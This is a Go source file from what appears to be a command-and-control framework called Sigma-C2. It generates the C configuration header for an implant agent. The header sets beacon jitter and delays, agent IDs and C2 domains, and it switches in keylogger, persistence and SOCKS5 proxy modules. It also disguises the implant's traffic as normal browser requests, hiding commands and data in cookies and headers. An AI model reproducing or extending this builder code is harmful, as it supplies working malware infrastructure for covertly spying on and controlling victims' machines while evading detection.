Files
Sigma-C2/server/template_generator.go

232 lines
6.5 KiB
Go

package main
import (
"fmt"
"html/template"
"log"
"os"
"strconv"
"strings"
)
// Template functions - FIXED VERSION
var funcMap = template.FuncMap{
"toCWideString": func(s string) template.HTML {
// Escape quotes and backslashes for C string literals
escaped := strings.ReplaceAll(s, "\\", "\\\\")
escaped = strings.ReplaceAll(escaped, "\"", "\\\"")
// Add \r\n if not present
if !strings.HasSuffix(escaped, "\\r\\n") {
escaped += "\\r\\n"
}
return template.HTML(fmt.Sprintf("L\"%s\"", escaped))
},
"toCString": func(s string) template.HTML {
// Escape quotes and backslashes for C string literals
escaped := strings.ReplaceAll(s, "\\", "\\\\")
escaped = strings.ReplaceAll(escaped, "\"", "\\\"")
return template.HTML(fmt.Sprintf("\"%s\"", escaped))
},
"makeHeader": func(name, value string) template.HTML {
// Create header with \r\n
escaped := strings.ReplaceAll(fmt.Sprintf("%s: %s", name, value), "\\", "\\\\")
escaped = strings.ReplaceAll(escaped, "\"", "\\\"")
escaped += "\\r\\n"
return template.HTML(fmt.Sprintf("L\"%s\"", escaped))
},
}
// Template for C header - SIMPLIFIED VERSION
const headerTemplate = `#ifndef CONFIG_H
#define CONFIG_H
#include <stddef.h>
// Agent configuration
// For testing builds with make
#if TESTING_BUILD
int reconnect_delay = 5000;
int jitter_percent = 30;
int startup_delay = 0;
char agent_id[] = "NimbleKoala";
#else
int reconnect_delay = {{.ReconnectDelay}};
int jitter_percent = {{.JitterPercent}};
int startup_delay = {{.StartupDelay}};
char agent_id[] = {{toCString .AgentID}};
#endif
// ===== Module includes =====
#if ENABLE_KEYLOGGER
int keylog_delay = 31000; // How often should keylogger report
#include "modules/keylogger.c"
#endif
#if ENABLE_PERSISTENCE
#include "modules/persistence.c"
#endif
#if ENABLE_PROXY
#include "modules/socks5_server.c"
#include "modules/socks5_agent.c"
#endif
// Common request headers
{{- if .Config.AgentRequestHeaders}}
wchar_t* common_headers[] = {
{{- range $i, $header := .Config.AgentRequestHeaders}}
{{toCWideString $header}},
{{- end}}
};
// Number of common headers
int num_common_headers = {{len .Config.AgentRequestHeaders}};
{{- else}}
wchar_t* common_headers[] = {
L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n",
L"Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate\r\n",
L"Pragma: no-cache\r\n",
L"Connection: keep-alive\r\n"
};
// Number of common headers
int num_common_headers = 4;
{{- end}}
// User agent to identify against server
wchar_t* user_agent = L{{toCString .Config.C2AgentUserAgent}};
// Header to identify against server
wchar_t* identity_header = {{makeHeader .Config.C2IdentificationHeader .Config.C2IdentificationValue}};
// Message size limits, if message is bigger - send message in request body with POST method
size_t max_cookie_message_length = 64;
// Domain-specific configuration structure
typedef struct {
char* domain;
unsigned short port;
// Communication parameters
// Headers and cookie indicating a new message from server
wchar_t* command_header_name;
wchar_t* command_header_value;
wchar_t* command_cookie_name;
// Cookie to embed message to
wchar_t* message_cookie_name;
// Header to indicate message in request body when POST method is used
wchar_t* body_message_header;
} DomainConfig;
// Global domain configurations
DomainConfig domain_configs[] = {
{{- range $domain, $profile := .FilteredDomains}}
{
.domain = {{toCString $domain}},
.port = {{$.Port}},
.command_header_name = L{{toCString $profile.CommandHeader}},
.command_header_value = L{{toCString $profile.CommandHeaderValue}},
.command_cookie_name = L{{toCString $profile.CommandCookie}},
.message_cookie_name = L{{toCString $profile.MessageCookieName}},
.body_message_header = {{makeHeader $profile.BodyMessageHeader $profile.BodyMessageHeaderValue}},
},
{{- end}}
};
// Number of domain configurations
int num_domain_configs = {{len .FilteredDomains}};
#endif // CONFIG_H
`
// GenerateCHeaderFromListener generates C header directly from listener and parameters
func GenerateHeaderFile(outputPath, listenerName, agentID string, jitterPercent, reconnectDelay, startupDelay *int) error {
// Retrieve listener info by name
value, ok := listeners.Load(listenerName)
if !ok {
return fmt.Errorf("listener '%s' not found", listenerName)
}
// Retrieve info needed for communication
listenerInfo := value.(*ListenerInfo)
hosts := listenerInfo.Addresses
port, _ := strconv.Atoi(listenerInfo.Port)
// Filter domains from config based on listener hosts
filteredDomains := make(map[string]DomainProfile)
for _, host := range hosts {
if profile, exists := config.DomainProfiles[host]; exists {
filteredDomains[host] = profile
log.Printf("Domain '%s' found in config", host)
} else {
log.Printf("WARNING: Domain '%s' not found in configuration", host)
}
}
if len(filteredDomains) == 0 {
return fmt.Errorf("no valid domains found in configuration for listener '%s'", listenerName)
}
// Apply defaults from config if not provided
finalJitter := config.JitterPercent
finalReconnect := config.ReconnectDelay
finalStartup := config.StartupDelay
if jitterPercent != nil {
finalJitter = *jitterPercent
}
if reconnectDelay != nil {
finalReconnect = *reconnectDelay
}
if startupDelay != nil {
finalStartup = *startupDelay
}
// Create template data structure
templateData := struct {
Config *Config
AgentID string
JitterPercent int
ReconnectDelay int
StartupDelay int
Port int
FilteredDomains map[string]DomainProfile
}{
Config: &config,
AgentID: agentID,
JitterPercent: finalJitter,
ReconnectDelay: finalReconnect,
StartupDelay: finalStartup,
Port: port,
FilteredDomains: filteredDomains,
}
// Parse template with custom functions
tmpl, err := template.New("header").Funcs(funcMap).Parse(headerTemplate)
if err != nil {
return fmt.Errorf("failed to parse template: %v", err)
}
// Create output file
file, err := os.Create(outputPath)
if err != nil {
return fmt.Errorf("failed to create output file: %v", err)
}
defer file.Close()
// Execute template with configuration data
err = tmpl.Execute(file, templateData)
if err != nil {
return fmt.Errorf("failed to execute template: %v", err)
}
log.Printf("C header generated successfully: %s", outputPath)
log.Printf("Filtered %d domains from listener '%s'", len(filteredDomains), listenerName)
return nil
}